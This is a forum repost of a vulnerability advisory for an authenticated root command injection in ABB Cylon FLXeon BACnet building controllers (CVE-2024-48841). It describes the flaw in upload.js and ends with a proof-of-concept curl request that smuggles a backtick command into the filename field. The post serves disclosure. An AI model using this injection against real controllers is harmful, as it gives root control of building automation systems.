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ABB Cylon FLXeon 9.3.4 upload.js Authenticated Root Remote Code Execution Exploit

greenbone

4 Eyl 2022
2,020 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
ABB Cylon FLXeon 9.3.4 (upload.js) Authenticated Root Remote Code Execution
 
 
Vendor: ABB Ltd.
Product web page: https://www.global.abb                   
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.4
 
Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.
 
The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.
 
Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to an authenticated root
command injection. An attacker can exploit the Backup-Restore feature via the /api/upload
endpoint to execute arbitrary system commands as root. The issue arises due to improper
input validation in upload.js, where user-supplied input is passed to ChildProcess.exec()
without adequate sanitization, allowing command injection via the filename parameter.
 
Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express
 
 
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
 
 
Advisory ID: ZSL-2025-5909
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5909.php
CVE ID: CVE-2024-48841
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841
 
 
21.04.2024
 
--
 
 
$ cat project
 
                 P   R   O   J   E   C   T
 
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         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
 
 
$ curl -k -X PUT "https://7.3.3.1/api/upload" \
> -H "Cookie: user_sid=xxx" \
> -H "Content-Type: multipart/form-data; boundary=----zeroscience" \
> --data-binary $'------zeroscience\r\nContent-Disposition: form-data; \
> name="filename"\r\n\r\n`sleep 17`\r\n------zeroscience\r\nContent-Disposition: \
> form-data; name="file"; filename="test"\r\nContent-Type: \
> application/octet-stream\r\n\r\n------zeroscience--'
 
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